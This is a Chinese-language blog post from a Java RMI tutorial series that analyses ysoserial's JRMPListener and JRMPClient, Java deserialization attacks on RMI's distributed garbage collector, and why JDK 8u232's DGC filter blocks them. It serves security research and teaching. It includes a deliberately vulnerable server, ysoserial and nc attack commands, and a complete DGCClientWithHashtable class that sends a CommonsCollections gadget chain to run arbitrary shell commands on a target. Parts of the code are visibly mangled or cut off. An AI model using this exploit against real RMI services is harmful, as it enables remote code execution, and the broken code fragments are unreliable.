标题: Java RMI入门(7)
创建: 2020-04-10 10:18 更新: 2020-04-13 21:42 链接: https://scz.617.cn/network/202004101018.txt
目录:
☆ 前言
☆ ysoserial.payloads.JRMPListener+ysoserial.exploit.JRMPClient
1) VulnerableServer2.java
2) ysoserial.payloads.JRMPListener
2.1) 简化版调用关系
3) ysoserial.exploit.JRMPClient
3.1) 简化版调用关系(重点看这个)
3.2) 相关源码
3.3) 网络通信报文
4) EvilClientWithUnicastRemoteObject.java
4.1) UnicastRemoteObjectTest.java
5) DGCClientWithHashtable.java
6) 测试
7) 8u232为什么失败(有白名单检查)
8) 用DGCClientWithHashtable打常规RMI动态端口
9) 用DGCClientWithHashtable打常规RMI周知端口
☆ 参考资源
☆ 前言
参看
《Java RMI入门》 https://scz.617.cn/network/202002221000.txt
《Java RMI入门(2)》 https://scz.617.cn/network/202003081810.txt
《Java RMI入门(3)》 https://scz.617.cn/network/202003121717.txt
《Java RMI入门(4)》 https://scz.617.cn/network/202003191728.txt
《Java RMI入门(5)》 https://scz.617.cn/network/202003241127.txt
《Java RMI入门(6)》 https://scz.617.cn/network/202004011650.txt
《Java RMI入门(8)》 https://scz.617.cn/network/202004141657.txt
《Java RMI入门(9)》 https://scz.617.cn/network/202004161823.txt
☆ ysoserial.payloads.JRMPListener+ysoserial.exploit.JRMPClient
ysoserial.payloads.JRMPListener会产生一种序列化数据,当存在漏洞的目标反序 列化它们时,会侦听一个RMI动态端口。"ysoserial/CommonsCollections*"系列产生 另一类序列化数据,当存在漏洞的目标反序列化它们时,会执行恶意命令。这么讲你 就明白ysoserial.payloads.JRMPListener的地位了。
ysoserial.exploit.JRMPClient可以用来攻击RMI动态端口。从这个意义上讲,二者 是一对。但ysoserial.exploit.JRMPClient与ysoserial.payloads.JRMPListener 没有必然联系,ysoserial.exploit.JRMPClient可以攻击任何已经存在的RMI周知端 口、动态端口。
ysoserial.payloads.JRMPClient和ysoserial.exploit.JRMPListener是另一对,从 名字上看很容易跟前一对搞混,要仔细些。
另一个对比是,ysoserial.exploit.JRMPClient可以打RMI周知端口、动态端口,而 ysoserial.exploit.RMIRegistryExploit只能打RMI周知端口。
1) VulnerableServer2.java
/ * javac -encoding GBK -g VulnerableServer2.java / import java.io.; import java.net.;
public class VulnerableServer2 { public static void main ( String[] argv ) throws Exception { String addr = argv[0]; int port = Integer.parseInt( argv[1] ); InetAddress bindAddr = InetAddress.getByName( addr ); / * https://docs.oracle.com/javase/8/docs/api/java/net/ServerSocket.html / ServerSocket s_listen = new ServerSocket( port, 0, bindAddr ); while ( true ) { Socket s_accept = s_listen.accept(); ObjectInputStream ois = new ObjectInputStream( s_accept.getInputStream() ); Object obj = ois.readObject(); / * 是为了测试ysoserial.payloads.JRMPListener而故意增加的,否则 * 有点古怪。假设没有这句,只能在挂着调试器运行的情况下得手, * 不需要有断点命中,只需要挂着调试器运行即可。难道有什么时间 * 相关的竞争条件问题存在? / System.in.read(); ois.close(); s_accept.close(); } } }
原本用VulnerableServer.java测试ysoserial.payloads.JRMPListener,发现有古怪。 只能在挂着调试器运行VulnerableServer的情况下得手,不需要有断点命中,只需要 挂着调试器运行即可。怀疑有时间相关的竞争条件问题存在,未深究。挂着调试器运 行VulnerableServer,最大的影响就是执行变缓,基于这种思路,改出 VulnerableServer2.java,通过读stdin产生额外阻塞,果然可以得手。
2) ysoserial.payloads.JRMPListener
参[52]
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/JRMPListener.java
java VulnerableServer2 192.168.65.23 1414
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPListener 1314 | nc -n 192.168.65.23 1414
netstat -nltp | grep -E '(1314|1414)'
这个payload并不试图直接执行恶意命令,而是在反序列过程中获得控制,在指定端 口上侦听,这个端口的地位相当于RMI动态端口。
本篇改变一下写作风格,先演示公开工具如何使用,再对之调试分析。
java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ VulnerableServer2 192.168.65.23 1414
jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005
stop in sun.rmi.transport.tcp.TCPTransport.listen stop in java.net.ServerSocket.bind(java.net.SocketAddress,int) stop in java.net.AbstractPlainSocketImpl.bind stop in java.net.AbstractPlainSocketImpl.listen monitor wherei
已知有个端口要listen,之前肯定有bind,上面第二个断点是刚开始研究时下的断点, 命中后单步跟踪,就找到其他几个关键函数。并不是用jdb调试的,是用Eclipse,但 复盘时喜欢用jdb表达式,便于聚焦、描述。
[1] java.net.AbstractPlainSocketImpl.listen (AbstractPlainSocketImpl.java:399), pc = 0
[2] java.net.ServerSocket.bind (ServerSocket.java:391), pc = 140
[3] java.net.ServerSocket.
2.1) 简化版调用关系
ObjectInputStream.readObject // 8u232
UnicastRemoteObject.readObject
UnicastRemoteObject.reexport
UnicastRemoteObject.exportObject // RMI编程时,动态端口部分如果不想"extends UnicastRemoteObject"
// 就必须显式UnicastRemoteObject.exportObject()
UnicastServerRef.exportObject
LiveRef.exportObject
TCPEndpoint.exportObject
TCPTransport.exportObject
TCPTransport.listen // 这个listen()的含义很复杂,不只是TCP层的listen
TCPEndpoint.newServerSocket // TCPTransport:335
RMIMasterSocketFactory.createServerSocket
RMIDirectSocketFactory.createServerSocket
ServerSocket.
上述调用关系主要是讲UnicastRemoteObject.exportObject()在干什么。只不过不是 显式调用的,而是对ysoserial.payloads.JRMPListener产生的payload反序列化时隐 式调用的。简单点说,ysoserial.payloads.JRMPListener得手后侦听RMI动态端口。
3) ysoserial.exploit.JRMPClient
参[52]
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPClient.java
java_8_40 \ -cp "commons-collections-3.1.jar:." \ VulnerableServer2 192.168.65.23 1414
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPListener 1314 | nc -n 192.168.65.23 1414
netstat -nltp | grep -E '(1314|1414)'
java \ -cp ysoserial-0.0.6-SNAPSHOT-all.jar \ ysoserial.exploit.JRMPClient 192.168.65.23 1314 \ CommonsCollections7 "/bin/touch /tmp/scz_is_here"
如果用8u232跑VulnerableServer2,不会得手。
java_8_40 -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -cp "commons-collections-3.1.jar:." \ VulnerableServer2 192.168.65.23 1414
jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005
stop in java.lang.Runtime.exec(java.lang.String)
[1] java.lang.Runtime.exec (Runtime.java:347), pc = 0 [2] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [3] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [4] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [5] java.lang.reflect.Method.invoke (Method.java:497), pc = 56 [6] org.apache.commons.collections.functors.InvokerTransformer.transform (InvokerTransformer.java:125), pc = 30 [7] org.apache.commons.collections.functors.ChainedTransformer.transform (ChainedTransformer.java:122), pc = 12 [8] org.apache.commons.collections.map.LazyMap.get (LazyMap.java:151), pc = 18 [9] java.util.AbstractMap.equals (AbstractMap.java:472), pc = 118 [10] org.apache.commons.collections.map.AbstractMapDecorator.equals (AbstractMapDecorator.java:129), pc = 12 [11] java.util.Hashtable.reconstitutionPut (Hashtable.java:1,221), pc = 55 [12] java.util.Hashtable.readObject (Hashtable.java:1,195), pc = 117 [13] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [14] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [15] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [16] java.lang.reflect.Method.invoke (Method.java:497), pc = 56 [17] java.io.ObjectStreamClass.invokeReadObject (ObjectStreamClass.java:1,017), pc = 20 [18] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:1,896), pc = 93 [19] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:1,801), pc = 181 [20] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,351), pc = 389 [21] java.io.ObjectInputStream.readObject (ObjectInputStream.java:371), pc = 19 [22] sun.rmi.transport.DGCImpl_Skel.dispatch (null), pc = 201 [23] sun.rmi.server.UnicastServerRef.oldDispatch (UnicastServerRef.java:410), pc = 100 [24] sun.rmi.server.UnicastServerRef.dispatch (UnicastServerRef.java:268), pc = 31 [25] sun.rmi.transport.Transport$1.run (Transport.java:200), pc = 23 [26] sun.rmi.transport.Transport$1.run (Transport.java:197), pc = 1 [27] java.security.AccessController.doPrivileged (native method) [28] sun.rmi.transport.Transport.serviceCall (Transport.java:196), pc = 157 [29] sun.rmi.transport.tcp.TCPTransport.handleMessages (TCPTransport.java:568), pc = 185 [30] sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0 (TCPTransport.java:790), pc = 441 [31] sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$78 (TCPTransport.java:683), pc = 1 [32] sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1.753727528.run (null), pc = 4 [33] java.security.AccessController.doPrivileged (native method) [34] sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run (TCPTransport.java:682), pc = 58 [35] java.util.concurrent.ThreadPoolExecutor.runWorker (ThreadPoolExecutor.java:1,142), pc = 95 [36] java.util.concurrent.ThreadPoolExecutor$Worker.run (ThreadPoolExecutor.java:617), pc = 5 [37] java.lang.Thread.run (Thread.java:745), pc = 11
3.1) 简化版调用关系(重点看这个)
DGC是"Distributed Garbage Collection"的缩写,一种分布式垃圾收集机制。只要 侦听RMI周知端口、动态端口,就有DGC在其中出现。
参看:
http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u40-b26/src/share/classes/sun/rmi/transport/TransportConstants.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u40-b26/src/share/classes/sun/rmi/transport/tcp/TCPTransport.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u40-b26/src/share/classes/sun/rmi/transport/Transport.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u40-b26/src/share/classes/java/rmi/server/UID.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u40-b26/src/share/classes/java/rmi/server/ObjID.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u40-b26/src/share/classes/sun/rmi/server/UnicastServerRef.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/DGCImpl_Skel.java
强调一下,这主要是8u40-b26的调用关系,夹杂了一些8u232的变化。
TCPTransport$ConnectionHandler.run0 // 8u40-b26 magic = in.readInt() // TCPTransport:722 // 读"JRMI" version = in.readShort() // TCPTransport:749 // 读0x0002 protocol = in.readByte() // TCPTransport:777 // 读0x4c,SingleOpProtocol TCPTransport.handleMessages // TCPTransport:790 op = in.read() // TCPTransport:550 // 读0x50,Call // 之前都是DataInputStream // 之后都是ObjectInputStream Transport.serviceCall // TCPTransport:568 ObjID.read // Transport:166 // 依次读2、0、0、0 num = in.readLong() // Transport:191 // 读2,ObjID.DGC_ID UID.read // Transport:192 // 依次读0、0、0 unique = in.readInt() // UID:264 time = in.readLong() // UID:265 count = in.readShort() // UID:266 UnicastServerRef.dispatch // Transport:200 num = in.readInt() // UnicastServerRef:265 // 读1,这是op UnicastServerRef.oldDispatch // UnicastServerRef:268 hash = in.readLong() // UnicastServerRef:400 // 读-669196253586618813L DGCImpl_Skel.dispatch // UnicastServerRef:410 // 这次不是RegistryImpl_Skel ObjectInputStream.readObject // case 1流程 // dirty(ObjID[], long, Lease) ObjectInputStream.readOrdinaryObject ObjectInputStream.readClassDesc // 8u40不用看这个流程 ObjectInputStream.readNonProxyDesc ObjectInputStream.filterCheck // 8u232 DGCImpl.checkInput // stop in sun.rmi.transport.DGCImpl.checkInput DGCImpl:409 // 8u232,缺省情况下此处有白名单检查 // 指定-Dsun.rmi.transport.dgcFilter='' // 将通过此处检查 ObjectInputStream.readSerialData Hashtable.readObject // ysoserial/CommonsCollections7 key = s.readObject() // 8u40不用看这个流程 // 假设指定-Dsun.rmi.transport.dgcFilter='' // 8u232不会平安经过此处 LazyMap.readObject ObjectInputStream.readHandle ObjectInputStream.filterCheck // 8u232,ObjectInputStream:1701 // filterCheck(null, -1); // just a check for number of references, depth, no class DGCImpl.checkInput DGCImpl:386 // status = dgcFilter.checkInput(filterInfo) // ObjectInputFilter$Config$Global.checkInput ObjectInputFilter:642 // 8u232,返回UNDECIDED DGCImpl:393 // if (filterInfo.depth() > DGC_MAX_DEPTH) // filterInfo.depth()等于6,DGC_MAX_DEPTH等于5 // 即使指定-Dsun.rmi.transport.dgcFilter='*' // 8u232也无法通过此处检查 DGCImpl:394 // 8u232,返回REJECTED Hashtable.reconstitutionPut // 8u40 AbstractMapDecorator.equals AbstractMap.equals LazyMap.get // 此处开始LazyMap利用链 ChainedTransformer.transform InvokerTransformer.transform Runtime.exec
调试分析过程比较枯燥,绝大多数人没必要去纠缠细节,如果想深究,参照上面的框 架流程用GUI工具在感兴趣的位置设断,查看调用栈回溯中的各层源码。
流程到达ObjectInputStream.readObject()之前有一堆Header信息需要读,这是一种 私有协议。
3.2) 相关源码
找不到8u40-b26的DGCImpl_Skel.java,只好用JD-GUI反编译查看。
/ * sun.rmi.transport.DGCImpl_Skel.dispatch * * 第3形参是op,第4形参是hash / public void dispatch(Remote paramRemote, RemoteCall paramRemoteCall, int paramInt, long paramLong) throws Exception { / * hash必须是这个值 / if (paramLong != -669196253586618813L) { throw new SkeletonMismatchException("interface hash mismatch"); } DGCImpl localDGCImpl = (DGCImpl)paramRemote; ObjID[] arrayOfObjID; long l; Object localObject1; / * op / switch (paramInt) { / * clean(ObjID[], long, VMID, boolean) / case 0: boolean bool; try { ObjectInput localObjectInput2 = paramRemoteCall.getInputStream(); / * 此处应该也可以用于攻击,op等于0的流程 / arrayOfObjID = (ObjID[])localObjectInput2.readObject(); l = localObjectInput2.readLong(); localObject1 = (VMID)localObjectInput2.readObject(); bool = localObjectInput2.readBoolean(); } ... / * dirty(ObjID[], long, Lease) / case 1: try { ObjectInput localObjectInput1 = paramRemoteCall.getInputStream(); / * ysoserial.exploit.JRMPClient至此 / arrayOfObjID = (ObjID[])localObjectInput1.readObject(); l = localObjectInput1.readLong(); localObject1 = (Lease)localObjectInput1.readObject(); } ... default: throw new UnmarshalException("invalid method number"); } }
3.3) 网络通信报文
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPClient 192.168.65.23 1314 CommonsCollections7 "/bin/touch /tmp/scz_is_here"
抓包
ysoserial.exploit.JRMPClient.cap
前面0x32字节如下:
0000000: 4a 52 4d 49 00 02 4c 50 ac ed 00 05 77 22 00 00 JRMI..LP....w".. 0000010: 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 ................ 0000020: 00 00 00 00 00 00 00 01 f6 b6 89 8d 8b f2 86 43 ...............C 0000030: 73 72 sr
手工解码如下:
4a 52 4d 49 // magic 00 02 // version 4c // protocol=SingleOpProtocol 50 // op=Call ac ed 00 05 // STREAM_MAGIC(0xaced) STREAM_VERSION(0x5) 77 22 // TC_BLOCKDATA(0x77) Length(0x22) 00 00 00 00 00 00 00 02 // DataOutputStream.writeLong 00 00 00 00 // DataOutputStream.writeInt 00 00 00 00 00 00 00 00 // DataOutputStream.writeLong 00 00 // DataOutputStream.writeShort 00 00 00 01 // DataOutputStream.writeInt f6 b6 89 8d 8b f2 86 43 // DataOutputStream.writeLong // 0xf6b6898d8bf28643(-669196253586618813L) 73 72 // TC_OBJECT(0x73) TC_CLASSDESC(0x72) ...
DataInputStream.write()相当于TCP层裸写,ObjectInputStream.write()则是序 列化写。
把[0x8,0x30)的数据截出来,可以用SerializationDumper.jar查看:
java -jar SerializationDumper.jar -r tmp.bin
STREAM_MAGIC - 0xac ed STREAM_VERSION - 0x00 05 Contents TC_BLOCKDATA - 0x77 Length - 34 - 0x22 Contents - 0x0000000000000002000000000000000000000000000000000001f6b6898d8bf28643
4) EvilClientWithUnicastRemoteObject.java
对应ysoserial.payloads.JRMPListener
/ * javac -encoding GBK -g -XDignore.symbol.file EvilClientWithUnicastRemoteObject.java * java EvilClientWithUnicastRemoteObject 192.168.65.23 1414 1314 * * warning: UnicastServerRef is internal proprietary API and may be removed in a future release * * 为了抑制这个编译时警告,Java 8可以指定"-XDignore.symbol.file" / import java.io.; import java.lang.reflect.; import java.net.Socket; import java.rmi.server.RemoteObject; import java.rmi.server.RemoteRef; import java.rmi.server.UnicastRemoteObject; import sun.rmi.server.UnicastServerRef; import sun.reflect.ReflectionFactory;
public class EvilClientWithUnicastRemoteObject
{
/
* 适配YouDebug脚本
/
public static Object getObject ( int port ) throws Exception
{
/
* https://docs.oracle.com/javase/8/docs/api/java/lang/Class.html
*
* Constructor
public static void main ( String[] argv ) throws Exception
{
String addr = argv[0];
int port = Integer.parseInt( argv[1] );
/*
* 攻击得手后侦听的动态端口
*/
int newport = Integer.parseInt( argv[2] );
Object obj = getObject( newport );
Socket s_connect = new Socket( addr, port );
ObjectOutputStream oos = new ObjectOutputStream( s_connect.getOutputStream() );
oos.writeObject( obj );
oos.close();
s_connect.close();
}
}
4.1) UnicastRemoteObjectTest.java
不能用普通的反射方式调用UnicastRemoteObject的构造函数,因为其中会调用 UnicastRemoteObject.exportObject(),直接开始listen(),显然数据准备阶段不想 看到这种效果。我们希望看到的是在反序列化阶段触发listen()。
/ * javac -encoding GBK -g -XDignore.symbol.file UnicastRemoteObjectTest.java * java UnicastRemoteObjectTest 1314 / import java.io.; import java.lang.reflect.; import java.rmi.server.UnicastRemoteObject;
public class UnicastRemoteObjectTest
{
public static Object getObject ( int port ) throws Exception
{
/
* https://docs.oracle.com/javase/8/docs/api/java/lang/Class.html
*
* Constructor
public static void main ( String[] argv ) throws Exception
{
int port = Integer.parseInt( argv[0] );
/*
* 在数据准备阶段直接开始listen(),非期望行为。
*/
Object obj = getObject( port );
System.in.read();
}
}
java UnicastRemoteObjectTest 1314
netstat -nltp | grep -E '(1314|1414)'
5) DGCClientWithHashtable.java
对应ysoserial.exploit.JRMPClient,使用ysoserial/CommonsCollections7。
/ * javac -encoding GBK -g -XDignore.symbol.file -cp "commons-collections-3.1.jar" DGCClientWithHashtable.java * java -cp "commons-collections-3.1.jar:." DGCClientWithHashtable 192.168.65.23 1314 "/bin/touch /tmp/scz_is_here" * * warning: MarshalOutputStream is internal proprietary API and may be removed in a future release * * 为了抑制这个编译时警告,Java 8可以指定"-XDignore.symbol.file" / import java.io.; import java.util.; import java.lang.reflect.; import java.net.Socket; import sun.rmi.server.MarshalOutputStream; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.; import org.apache.commons.collections.map.LazyMap;
/ * 从LazyMapExecWithHashtable2.java修改而来 / public class DGCClientWithHashtable { @SuppressWarnings("unchecked") public static Object getObject ( String cmd ) throws Exception { Transformer[] tarray = new Transformer[] { new ConstantTransformer( Runtime.class ), new InvokerTransformer ( "getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] } ), new InvokerTransformer ( "invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] } ), new InvokerTransformer ( "exec", new Class[] { String[].class }, new Object[] { new String[] { "/bin/bash", "-c", cmd } } ) }; Transformer tchain = new ChainedTransformer( new Transformer[0] ); Map normalMap_0 = new HashMap(); Map normalMap_1 = new HashMap(); Map lazyMap_0 = LazyMap.decorate( normalMap_0, tchain ); Map lazyMap_1 = LazyMap.decorate( normalMap_1, tchain ); lazyMap_0.put( "scz", "same" ); lazyMap_1.put( "tDz", "same" ); Hashtable ht = new Hashtable(); ht.put( lazyMap_0, "value_0" ); ht.put( lazyMap_1, "value_1" ); lazyMap_1.remove( "scz" ); Field f = ChainedTransformer.class.getDeclaredField( "iTransformers" ); f.setAccessible( true ); f.set( tchain, tarray ); return( ht ); }
private static void WriteHeader ( Socket s ) throws IOException
{
DataOutputStream dos = new DataOutputStream( s.getOutputStream() );
/*
* "JRMI"
*/
dos.writeInt( 0x4a524d49 );
dos.writeShort( 0x0002 );
/*
* SingleOpProtocol
*/
dos.writeByte( 0x4c );
/*
* Call
*/
dos.write( 0x50 );
/*
* 如果这里关dos,会把s一并关掉
*
* dos.close();
*/
}
private static void WriteBody ( Socket s, Object obj ) throws IOException
{
/*
* http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/MarshalOutputStream.java
*
* 本来应该用sun.rmi.transport.ConnectionOutputStream,但它不是
* public的,只好用它的父类sun.rmi.server.MarshalOutputStream。
* 这里不能直接用java.io.ObjectOutputStream。MarshalOutputStream重
* 载了annotateClass(),而ObjectOutputStream的annotateClass()是个
* 空函数,啥也没干。MarshalOutputStream重载的annotateProxyClass()
* 在本例中不会命中。MarshalOutputStream重载的replaceObject()在本
* 例中不会带来实际区别。
*/
MarshalOutputStream mos = new MarshalOutputStream( s.getOutputStream() );
/*
* ObjID.DGC_ID
*/
mos.writeLong( 2 );
/*
* unique
*/
mos.writeInt( 0 );
/*
* time
*/
mos.writeLong( 0 );
/*
* count
*/
mos.writeShort( 0 );
/*
* op=1
*
* dirty(ObjID[], long, Lease)
*/
mos.writeInt( 1 );
/*
* hash
*/
mos.writeLong( -669196253586618813L );
mos.writeObject( obj );
mos.close();
}
public static void main ( String[] argv ) throws Exception
{
String addr = argv[0];
int port = Integer.parseInt( argv[1] );
String cmd = argv[2];
Object obj = getObject( cmd );
Socket s_connect = new Socket( addr, port );
WriteHeader( s_connect );
WriteBody( s_connect, obj );
s_connect.close();
}
}
6) 测试
java_8_40 \ -cp "commons-collections-3.1.jar:." \ VulnerableServer2 192.168.65.23 1414
java EvilClientWithUnicastRemoteObject 192.168.65.23 1414 1314
netstat -nltp | grep -E '(1314|1414)'
java \ -cp "commons-collections-3.1.jar:." \ DGCClientWithHashtable 192.168.65.23 1314 \ "/bin/touch /tmp/scz_is_here"
7) 8u232为什么失败(有白名单检查)
java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -cp "commons-collections-3.1.jar:." \ VulnerableServer2 192.168.65.23 1414
java EvilClientWithUnicastRemoteObject 192.168.65.23 1414 1314
这一步可以成功,8u232可以得手。
netstat -nltp | grep -E '(1314|1414)'
java \ -cp "commons-collections-3.1.jar:." \ DGCClientWithHashtable 192.168.65.23 1314 \ "/bin/touch /tmp/scz_is_here"
这一步失败,8u232已经无法得手。
jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005
stop in sun.rmi.transport.DGCImpl.checkInput stop at sun.rmi.transport.DGCImpl:409
[1] sun.rmi.transport.DGCImpl.checkInput (DGCImpl.java:409), pc = 109 [2] sun.rmi.transport.DGCImpl.access$300 (DGCImpl.java:72), pc = 1 [3] sun.rmi.transport.DGCImpl$2.lambda$run$0 (DGCImpl.java:343), pc = 1 [4] sun.rmi.transport.DGCImpl$2$$Lambda$4.787867107.checkInput (null), pc = 1 [5] java.io.ObjectInputStream.filterCheck (ObjectInputStream.java:1,238), pc = 53 [6] java.io.ObjectInputStream.readNonProxyDesc (ObjectInputStream.java:1,877), pc = 154 [7] java.io.ObjectInputStream.readClassDesc (ObjectInputStream.java:1,750), pc = 86 [8] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:2,041), pc = 22 [9] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,572), pc = 401 [10] java.io.ObjectInputStream.readObject (ObjectInputStream.java:430), pc = 19 [11] sun.rmi.transport.DGCImpl_Skel.dispatch (DGCImpl_Skel.java:90), pc = 195 [12] sun.rmi.server.UnicastServerRef.oldDispatch (UnicastServerRef.java:469), pc = 137 [13] sun.rmi.server.UnicastServerRef.dispatch (UnicastServerRef.java:301), pc = 44 [14] sun.rmi.transport.Transport$1.run (Transport.java:200), pc = 23 [15] sun.rmi.transport.Transport$1.run (Transport.java:197), pc = 1 [16] java.security.AccessController.doPrivileged (native method) [17] sun.rmi.transport.Transport.serviceCall (Transport.java:196), pc = 157 [18] sun.rmi.transport.tcp.TCPTransport.handleMessages (TCPTransport.java:573), pc = 185 [19] sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0 (TCPTransport.java:798), pc = 457 [20] sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0 (TCPTransport.java:688), pc = 1 [21] sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5.764267969.run (null), pc = 4 [22] java.security.AccessController.doPrivileged (native method) [23] sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run (TCPTransport.java:687), pc = 58 [24] java.util.concurrent.ThreadPoolExecutor.runWorker (ThreadPoolExecutor.java:1,149), pc = 95 [25] java.util.concurrent.ThreadPoolExecutor$Worker.run (ThreadPoolExecutor.java:624), pc = 5 [26] java.lang.Thread.run (Thread.java:748), pc = 11
http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/java/io/ObjectInputStream.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/DGCImpl.java
/ * sun.rmi.transport.DGCImpl.checkInput / / * ObjectInputFilter to filter DGC input objects. * The list of acceptable classes is very short and explicit. * The depth and array sizes are limited. * * @param filterInfo access to class, arrayLength, etc. * @return {@link ObjectInputFilter.Status#ALLOWED} if allowed, * {@link ObjectInputFilter.Status#REJECTED} if rejected, * otherwise {@link ObjectInputFilter.Status#UNDECIDED} / private static ObjectInputFilter.Status checkInput(ObjectInputFilter.FilterInfo filterInfo) { if (dgcFilter != null) { / * 386行,如果指定-Dsun.rmi.transport.dgcFilter='',流程至此。接下来会去 * 调用sun.misc.ObjectInputFilter$Config$Global.checkInput,后者会返回 * UNDECIDED。接下来流程会去393行,在那里返回REJECTED。 / ObjectInputFilter.Status status = dgcFilter.checkInput(filterInfo); if (status != ObjectInputFilter.Status.UNDECIDED) { // The DGC filter can override the built-in white-list return status; } } / * 393行,如果指定-Dsun.rmi.transport.dgcFilter='',流程至此 * * filterInfo.depth()等于6,DGC_MAX_DEPTH等于5 / if (filterInfo.depth() > DGC_MAX_DEPTH) { / * 394行 / return ObjectInputFilter.Status.REJECTED; } Class<?> clazz = filterInfo.serialClass(); if (clazz != null) { while (clazz.isArray()) { if (filterInfo.arrayLength() >= 0 && filterInfo.arrayLength() > DGC_MAX_ARRAY_SIZE) { return ObjectInputFilter.Status.REJECTED; } // Arrays are allowed depending on the component type clazz = clazz.getComponentType(); } if (clazz.isPrimitive()) { // Arrays of primitives are allowed return ObjectInputFilter.Status.ALLOWED; } / * 409行,java.util.Hashtable无法通过这个白名单检查,返回REJECTED */ return (clazz == ObjID.class || clazz == UID.class || clazz == VMID.class || clazz == Lease.class) ? ObjectInputFilter.Status.ALLOWED : ObjectInputFilter.Status.REJECTED; } // Not a class, not size limited return ObjectInputFilter.Status.UNDECIDED; }
java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -Dsun.rmi.transport.dgcFilter='*' \ -cp "commons-collections-3.1.jar:." \ VulnerableServer2 192.168.65.23 1414
指定dgcFilter,仍然失败,提示:
INFO: ObjectInputFilter REJECTED: null, array length: -1, nRefs: 30, depth: 6, bytes: 877, ex: n/a
一般REJECTED后面显示被禁止的class,如果显示null,表示一种特殊的检查,此时 被REJECTED的原因是depth=6,大于5。这种特殊的检查无法通过调整dgcFilter来绕 过,算是功能性BUG。
[1] sun.misc.ObjectInputFilter$Config$Global.checkInput (ObjectInputFilter.java:642), pc = 0 [2] sun.rmi.transport.DGCImpl.checkInput (DGCImpl.java:386), pc = 10 [3] sun.rmi.transport.DGCImpl.access$300 (DGCImpl.java:72), pc = 1 [4] sun.rmi.transport.DGCImpl$2.lambda$run$0 (DGCImpl.java:343), pc = 1 [5] sun.rmi.transport.DGCImpl$2$$Lambda$5.1374677625.checkInput (null), pc = 1 [6] java.io.ObjectInputStream.filterCheck (ObjectInputStream.java:1,238), pc = 53 [7] java.io.ObjectInputStream.readHandle (ObjectInputStream.java:1,701), pc = 131 [8] java.io.ObjectInputStream.readClassDesc (ObjectInputStream.java:1,744), pc = 65 [9] java.io.ObjectInputStream.readArray (ObjectInputStream.java:1,929), pc = 22 [10] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,566), pc = 335 [11] java.io.ObjectInputStream.defaultReadFields (ObjectInputStream.java:2,286), pc = 150 [12] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:2,210), pc = 298 [13] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:2,068), pc = 183 [14] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,572), pc = 401 [15] java.io.ObjectInputStream.readArray (ObjectInputStream.java:1,974), pc = 412 [16] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,566), pc = 335 [17] java.io.ObjectInputStream.defaultReadFields (ObjectInputStream.java:2,286), pc = 150 [18] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:2,210), pc = 298 [19] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:2,068), pc = 183 [20] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,572), pc = 401 [21] java.io.ObjectInputStream.defaultReadFields (ObjectInputStream.java:2,286), pc = 150 [22] java.io.ObjectInputStream.defaultReadObject (ObjectInputStream.java:560), pc = 41 [23] org.apache.commons.collections.map.LazyMap.readObject (LazyMap.java:143), pc = 1 [24] 